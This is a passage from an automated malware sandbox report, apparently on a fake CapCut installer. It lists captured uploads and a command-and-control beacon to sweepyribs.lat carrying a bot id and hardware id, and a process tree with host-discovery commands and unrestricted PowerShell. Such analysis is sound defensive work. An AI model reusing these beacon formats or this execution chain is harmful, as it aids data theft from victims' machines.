                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: c7 bf 96 f2 0a 14 65 5d 1b f1 48 c0 a2 7b 3d 40 4e 52 e1 d3 77 75 bb 13 11 d0 9e 76 22 c9 b3 46 b6 86 b4 e7 54 ca 05 c1 3a 61 a0 d9 2d 44 8a df 14 fb 09 eb 74 79 e1 32 eb 91 7d 71 f7 9a 6c 9b 95 f1 fe fd f8 dc 37 b0 a4 73 f2 1e 30 32 06 f0 b2 3c d3 dd 1a 10 5c 99 d8 fd db 69 ac 26 53 a2 30 f7 18 2c ce 7f 29 75 3f fe 18 ec af 54 8a 0b 46 96 22 b5 59 fa 61 95 33 a7 a7 c9 96 d8 f9 a3 f5 8a d8 26 46 76 66 69 3c e0 71 72 e2 1c 66 19 21 34 0f 63 ae 3f 3b cc 2e 52 f1 d4 f4 e5 9c 60 7f 0f a4 68 7e 04 6d 8d c1 5d cb 4d d5 33 3c fb 96 cc df 9a 27 21 f1 08 aa f6 1e 1c 2e 49 c5 54 21 3d 4c bf 05 55 22 d0 30 a4 14 30 33 fa c3 95 eb 78 c6 21 3b 24 63 b4 28 49 47 39 78 91 53 c4 c4 1e 1f c6 74 c5 50 f1 7b fb 6d 39 e3 50 ad 42 e5 53 d2 b8 1e 0c da ad d3 82 f1 5b 9d 34 2b
                                                                                                                                                                                                                                                                        Data Ascii: e]H{=@NRwuv"FT:a-Dty2}ql7s02<\i&S0,)u?TF"Ya3&Fvfi<qrf!4c?;.R`h~m]M3<'!.IT!=LU"003x!;$c(IG9xStP{m9PBS[4+
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 5f e2 e9 2f 60 c4 fc ae a1 9d a4 7f 7d a1 1b 02 f8 d6 2f 9e e6 3d 0a 43 0f ae 53 28 61 8f 25 ea 23 5f 36 ed 0e aa ec e0 71 88 47 35 88 e6 30 dc fe 2d 0a 8f 5c 2c d7 81 f3 bd 97 2f c2 66 08 20 a5 53 97 9b 92 95 b3 3e 69 33 5a 61 c4 d9 89 0e 31 52 8d c9 97 90 72 6c 80 44 a5 fc 11 a8 fd a4 10 83 ed af 97 0c 85 0a 6e bd 8e a7 d9 ea 00 88 93 f0 99 b3 dc 97 1b ba fe dd 3e 41 1a 58 56 4f 3f e6 07 73 fa b0 01 25 10 7c 08 49 81 18 c3 51 22 a0 b1 88 b2 57 b7 f7 83 0b b9 64 e9 fd bb f6 af ab 76 0f ec 86 87 06 60 ac 01 ef d6 33 1e 35 9b 13 00 c8 65 83 a5 28 f9 c7 46 ef 6e dc e2 04 ba 5c a5 58 0d a7 92 40 51 da f0 4c 53 de 47 1d 13 12 9a e7 86 80 d7 b0 8e 85 87 cb ec 47 2e 76 c1 a0 d7 b8 08 69 31 23 30 3a f5 ee 6a fb de 38 f5 91 2c 39 c4 5d 1f 4b 6a 46 50 eb 0f 11 9e
                                                                                                                                                                                                                                                                        Data Ascii: _/`}/=CS(a%#_6qG50-\,/f S>i3Za1RrlDn>AXVO?s%|IQ"Wdv`35e(Fn\X@QLSGG.vi1#0:j8,9]KjFP
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 27 ed a6 eb a0 e8 9f 92 37 6a fe 1e d2 6a ef da 18 ac be 19 2e c8 3b bf e7 61 40 db 25 cc 73 93 b0 9c 8a 80 5b 85 37 fe 3c b7 d8 1d 7e fe 34 30 07 b5 45 0f bf fa d8 8c aa d2 14 13 0e a8 f7 e9 02 a3 5f bb 83 56 02 16 71 ab 3a 5f 07 05 42 c2 c3 17 06 87 7c 10 6c a8 47 a9 b4 78 d9 6d 4e a6 a2 8c 57 e3 93 31 59 d4 30 d6 4d 49 fd b9 59 35 3f 1d c3 61 ba 19 2f 5e 9c 62 4e b7 dc 45 00 63 93 f4 a0 1f 8b d7 b7 5e 19 f1 a2 91 fa e1 ec fe 92 af 99 fd fa b1 d8 03 54 15 f6 d8 e1 f4 d3 1f 99 1e ef 43 3a da a0 db 9b c9 3f 85 2c 59 33 c9 fc 25 ef 4d dc 53 ad 4f a8 d1 ef 5f 7e 34 fc 04 b4 54 1e de f8 c7 ee 71 7a fe 39 21 d6 f0 1e 68 3b bb b7 6a 9a 4f 51 76 63 ce 70 43 c6 76 c5 4e a3 c0 7c 51 f7 65 e7 45 a7 55 dd 18 ee 66 ce 50 51 02 6b 4b 47 88 ec 4a 3a 5c f5 b0 9a 73 06
                                                                                                                                                                                                                                                                        Data Ascii: '7jj.;a@%s[7<~40E_Vq:_B|lGxmNW1Y0MIY5?a/^bNEc^TC:?,Y3%MSO_~4Tqz9!h;jOQvcpCvN|QeEUfPQkKGJ:\s
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: b4 58 84 bd 2d 7f 04 75 bd 45 e2 17 01 a6 fa c2 75 14 5b 1a 94 3e 41 a6 f4 d8 10 bb 5e a1 9e 2b fd b6 63 65 53 1e 8b 8f 77 0a 83 a8 cd 92 4f e1 76 ef e6 12 19 89 63 e2 73 fa 22 a1 6b 1c 67 69 b0 ee a6 0e 88 2a 04 e6 c4 7a d6 5e 5b 37 01 09 01 84 ec e9 b3 6c 13 3f a8 f4 2e d6 e7 69 ba f4 6d 07 cb 0c a7 6c 23 61 61 d8 66 b8 2a 2a e4 ec b7 ea cb 0f 94 c2 3d 37 4b 12 c8 e8 68 03 9e 98 b8 8b c9 9b 66 c6 a8 30 63 23 44 0e 7b a9 3a 05 d3 a8 57 60 11 1a f4 54 7d b3 51 fb 30 b3 49 70 c4 84 64 ae dd b4 dc a6 a6 ad ca 48 e5 65 cf 53 09 98 87 d8 02 e9 50 f7 4f c9 05 89 3a 60 c6 60 84 53 c1 34 46 ce 1d 20 1b 2b ea 4f 89 59 a2 23 cb 30 e2 c2 2f 15 61 dc 66 3b a4 a7 56 60 0b a9 f4 85 a5 ae c9 64 3a eb bd d7 64 ec c1 36 8e 52 e2 97 0f ac df 1d 12 13 42 fb fd 3e d4 01 88
                                                                                                                                                                                                                                                                        Data Ascii: X-uEu[>A^+ceSwOvcs"kgi*z^[7l?.iml#aaf**=7Khf0c#D{:W`T}Q0IpdHeSPO:``S4F +OY#0/af;V`d:d6RB>
                                                                                                                                                                                                                                                                        2024-12-17 17:54:24 UTC15331OUTData Raw: 36 95 f9 86 9a fe 66 f9 fe ed 2e 44 11 eb b9 6a 43 a6 0f a7 36 e3 d8 cf d7 2b cf b3 d7 ef a4 65 2d 0e ce 9f 2f 18 0c 76 5f f2 8d a8 a9 9d 1e 3d 39 ae cf 7c 29 fb 44 61 34 c0 6f 34 44 45 b8 ef 44 50 7d e4 53 ee 32 29 44 9f 19 61 89 0c 49 ec 66 f4 0d af ed a4 31 7d 33 38 11 07 5c df 36 d6 9e 2f 78 c7 d0 0f 29 3b c5 1e 5c 74 bf 55 62 2e 7b dc e4 4b c3 fb bb 59 b7 66 0c 0b 02 f0 79 9d d3 e6 98 85 4f 76 e4 f3 36 b9 09 35 4f 05 87 36 1a a4 86 fb 0c 1b dc f0 0b f3 78 d6 3d 92 8c 9f 7d 85 a5 45 b0 9b 3f ac 65 b2 f2 47 4e ed 04 f1 a3 9f 21 2a 91 a1 51 b4 43 a8 81 0f dc 84 fe 82 3f 07 ff 73 9f c5 c6 2b 07 4d 78 bc 63 e5 6f 93 d3 30 12 32 93 46 99 06 d0 a9 ef e7 4c 26 58 5c c3 b9 1b c9 ec 45 05 f0 c8 e4 e9 ee 10 51 45 38 79 ed 27 20 b8 39 0c 9b dd 6d 68 40 c3 89 c1
                                                                                                                                                                                                                                                                        Data Ascii: 6f.DjC6+e-/v_=9|)Da4o4DEDP}S2)DaIf1}38\6/x);\tUb.{KYfyOv65O6x=}E?eGN!*QC?s+Mxco02FL&X\EQE8y' 9mh@
                                                                                                                                                                                                                                                                        2024-12-17 17:54:26 UTC1048INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:26 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=skgmbqdism10skns01b07qcbnt; expires=Sat, 12-Apr-2025 11:41:05 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dyxq4cG%2FrzIrHY4G467fCj03FLrPnvIEPrIvp%2BThEknI1UPk3aOVpd%2FJ%2FtPUycDuDnsle6f7gnHxib90KYYKykefhNRiczQQmlcKHAB9USy7urKy4BYxMQiyhe7q6sV0%2BA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c73889d50c7a-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1719&min_rtt=1710&rtt_var=659&sent=331&recv=617&lost=0&retrans=0&sent_bytes=2834&recv_bytes=593632&delivery_rate=1638608&cwnd=200&unsent_bytes=0&cid=93a28179a439289e&ts=2406&x=0"


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        10192.168.2.449943104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:28 UTC262OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 86
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:28 UTC86OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 33 31 36 43 45 38 32 46 37 42 44 31 31 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45
                                                                                                                                                                                                                                                                        Data Ascii: act=get_message&ver=4.0&lid=LOGS11--fbadstest&j=&hwid=316CE82F7BD11A41AC8923850305D13E
                                                                                                                                                                                                                                                                        2024-12-17 17:54:29 UTC1042INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:29 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=qbk1kjrfh6lp9eccpe6d55rj2s; expires=Sat, 12-Apr-2025 11:41:07 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JgdI13yPb5gK0BvG1Hf6eRkjRAn0JTXvas4TDcIzgypCj2hCo5ATW6%2FWoKbWj2JkufIN%2BzjW%2F782kH3bPtqX1uBVlAp%2BxkxJheThXyUgTGTBk1sTvVpl%2FQo%2FDrqxIwCGig%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c74fee4042a9-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1578&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=984&delivery_rate=1777236&cwnd=32&unsent_bytes=0&cid=660d35cb06802b09&ts=1028&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:29 UTC54INData Raw: 33 30 0d 0a 4d 54 41 70 42 6a 48 47 37 6e 70 4d 4e 76 37 4c 6f 78 73 73 2f 77 72 64 79 44 39 7a 47 47 32 4d 64 7a 4a 6f 6f 54 4b 4c 44 59 68 71 62 51 3d 3d 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 30MTApBjHG7npMNv7Loxss/wrdyD9zGG2MdzJooTKLDYhqbQ==
                                                                                                                                                                                                                                                                        2024-12-17 17:54:29 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                                                        Statistics

                                                                                                                                                                                                                                                                        CPU Usage

                                                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                                                        Memory Usage

                                                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                                                                                                                                        Behavior

                                                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                                                        System Behavior

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:0
                                                                                                                                                                                                                                                                        Start time:12:52:05
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe"
                                                                                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                                                                                        File size:64'795'304 bytes
                                                                                                                                                                                                                                                                        MD5 hash:8A671A1EEA06778B362BA71F6BA06814
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:4
                                                                                                                                                                                                                                                                        Start time:12:52:28
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe"
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7ef570000
                                                                                                                                                                                                                                                                        File size:160'112'640 bytes
                                                                                                                                                                                                                                                                        MD5 hash:13A330AD06FA31614522A0680888B16C
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Antivirus matches:
                                                                                                                                                                                                                                                                        • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:7
                                                                                                                                                                                                                                                                        Start time:12:52:30
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c "chcp"
                                                                                                                                                                                                                                                                        Imagebase:0x7ff761df0000
                                                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:8
                                                                                                                                                                                                                                                                        Start time:12:52:30
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:9
                                                                                                                                                                                                                                                                        Start time:12:52:30
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:chcp
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7d91b0000
                                                                                                                                                                                                                                                                        File size:14'848 bytes
                                                                                                                                                                                                                                                                        MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:10
                                                                                                                                                                                                                                                                        Start time:12:52:32
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7ef570000
                                                                                                                                                                                                                                                                        File size:160'112'640 bytes
                                                                                                                                                                                                                                                                        MD5 hash:13A330AD06FA31614522A0680888B16C
                                                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:11
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7ef570000
                                                                                                                                                                                                                                                                        File size:160'112'640 bytes
                                                                                                                                                                                                                                                                        MD5 hash:13A330AD06FA31614522A0680888B16C
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:12
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
                                                                                                                                                                                                                                                                        Imagebase:0x7ff761df0000
                                                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:13
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:14
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:15
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:16
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:17
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:18
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:19
                                                                                                                                                                                                                                                                        Start time:12:52:34
                                                                                                                                                                                                                                                                        Start date:17/12/2024
                                                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                                                        Target ID:20
                                                                                                                                                                                                                                                                        Start time:12:52:39
                                                                                                                                                                                                                                                                        Start date:17/12/2024
